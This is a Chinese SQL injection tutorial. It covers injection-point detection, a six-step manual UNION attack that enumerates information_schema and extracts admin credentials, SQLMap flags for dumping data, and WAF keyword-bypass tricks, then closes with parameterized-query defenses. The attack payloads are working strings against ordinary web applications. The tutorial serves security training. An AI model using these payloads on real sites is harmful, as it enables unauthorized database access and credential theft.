引言
为什么SQL注入被称为Web安全最重要的漏洞?
因为它足够经典、足够普遍、足够危险——80%的Web渗透课程第一课都是SQL注入,而它也是造成数据泄露最多的漏洞类型之一。
本课你将掌握:
-
SQL注入的本质——为什么用户输入能”钻进”数据库 -
如何快速判断注入点与闭合符号类型 -
UNION联合查询注入的完整手工利用流程 -
从 information_schema获取任意表结构的方法 -
工具化利用(SQLMap)与手工的对应关系 -
从防御视角审视这个漏洞的根治方案
无论你是安全新人还是想系统复习Web渗透,这篇文章都将为你夯实最重要的基础。
一、SQL注入的本质:用户输入变成了代码
1.1 用餐厅场景理解
想象一个餐厅点餐场景:
- 正常情况
:顾客说”我要一份宫保鸡丁”,服务员只做这道菜 - SQL注入
:顾客说”我要一份宫保鸡丁,顺便把厨房门打开”——服务员照单全收
SQL注入的通俗定义:
用户输入被直接拼接到SQL语句中,摇身一变成为了SQL代码。
1.2 代码级原理(PHP示例)

1.3 数学本质
|
|
|
|---|---|
|
|
|
id = 1 |
id = 1 OR 1=1 |
|
|
|
核心区别:程序员的意图是让用户只能输入数据,但由于字符串拼接,用户输入被数据库解析成了代码。
二、注入点识别:判断闭合符号类型
2.1 注入的三个必要条件
Text
✅ 用户输入参与SQL语句拼接
✅ 拼接方式是有漏洞的(不是参数化)
✅ 数据库返回了执行结果(错误/内容/延迟都算)
2.2 常见注入位置
|
|
|
|
|---|---|---|
|
|
WHERE id = x |
|
|
|
WHERE name LIKE '%x%' |
|
|
|
WHERE username='x' AND password='y' |
|
|
|
ORDER BY x |
|
|
|
WHERE ua = 'x' |
|
2.3 快速判断注入点
核心思路:构造异常语法,观察SQL是否执行
|
|
|
|
|---|---|---|
|
|
?id=1' |
|
|
|
?id=1" |
|
|
|
?id=1+1
?id=3-1 |
|
|
|
?id=1'-- |
|
⚠️ 关键点:看SQL是否执行,不是页面是否报错。有些网站关闭了错误显示,但注入仍然存在。
三、UNION联合查询注入:最强大的利用方式
3.1 UNION的原理
UNION用于合并两个SELECT的结果集,但两个SELECT的列数必须相同。
Text
SELECT name, email FROM users WHERE id = 1
UNION
SELECT username, password FROM admin
3.2 联合查询注入思路
Text
1. 原查询返回用户信息
2. 通过UNION注入一条新的查询
3. 页面会显示admin表的username和password!
3.3 为什么UNION最常用?
-
✅ 直接在页面显示数据,不需要逐字符猜测 -
✅ 配合 information_schema可获取任意表结构 -
✅ 适用于大多数有回显的场景
四、手工注入六步法(完整流程)
📌 以下所有URL仅为示例说明,请勿用于非授权测试
Step 1:判断注入点
Text
目标: https://example.com/news.php?id=5
测试: ?id=5'
→ 报错: You have an error in your SQL syntax
→ ✅ 确定存在注入,闭合符为单引号 '
Step 2:ORDER BY猜列数
Text
?id=5' ORDER BY 1-- → 正常
?id=5' ORDER BY 2-- → 正常
?id=5' ORDER BY 3-- → 正常
?id=5' ORDER BY 4-- → 报错
→ ✅ 列数为3
原理:
ORDER BY N按第N列排序,超过列数就会报错。
Step 3:确定显示位
Text
?id=-5' UNION SELECT NULL,NULL,NULL--
为什么用 id=-5(不存在的ID)?
让原查询返回空结果,这样页面就只显示UNION部分的数据。
Step 4:获取数据库信息
Text
?id=-5' UNION SELECT 1,database(),3-- → 显示数据库名
?id=-5' UNION SELECT 1,@@version,3-- → 显示MySQL版本
?id=-5' UNION SELECT 1,user(),3-- → 显示数据库用户
Step 5:从 information_schema 获取表名
Sql
?id=-5' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM
information_schema.tables WHERE table_schema=database()--
information_schema是MySQL的元数据库,存储了所有表和列的信息。
Step 6:获取列名并提取数据
Sql
-- 获取admin表的列名
?id=-5' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM
information_schema.columns WHERE table_name='admin'--
-- 提取账号密码(假设列名为username, password)
?id=-5'UNIONSELECT1,CONCAT(username,0x3a,password),3FROMadmin--
0x3a是冒号的十六进制,用于分隔用户名和密码。
五、SQLMap工具化利用(手工对照)
|
|
|
|
|---|---|---|
|
|
|
|
|
|
|
|
|
|
--dbs |
|
|
|
--tables |
|
|
|
--columns |
|
|
|
--dump |
|
完整SQLMap命令示例

六、实战绕过技巧(WAF对抗)
当目标站点部署了WAF(Web应用防火墙),需要绕过关键词过滤:
常见绕过方法
|
|
|
|
|---|---|---|
|
|
UniOn SelECt |
|
|
|
UNION/**/SELECT |
/**/分隔关键字 |
|
|
/*!UNION*/ |
|
|
|
%55NION |
|
|
|
%0a
%09 |
|
|
|
UNUNIONION |
|
💡 组合使用效果更好。实际渗透中通常需要多种技巧配合测试。
七、防御方案:参数化查询是根本
7.1 核心原则
参数化查询 = SQL结构和数据分离 = 数据永远不会被当作代码执行
7.2 各语言正确写法
PHP (PDO)
Php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Java (JDBC)
Java
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setInt(1, Integer.parseInt(id));
Python (SQLAlchemy)
Python
sql = text("SELECT * FROM users WHERE id = :id")
result = db.session.execute(sql, {"id": user_id})
7.3 多层防御策略
|
|
|
|---|---|
| 核心 |
|
|
|
|
|
|
|
|
|
INTO OUTFILE |
|
|
|
⚠️ 特别注意:使用
mysqli_real_escape_string转义不是万能的,它不能防止所有注入场景(如数字型注入、ORDER BY注入),唯一正确的方式是参数化查询。
总结

声明
本文内容仅用于安全研究与授权渗透测试,严禁非授权入侵。任何未授权的入侵行为均属违法,使用者责任自负。












暂无评论内容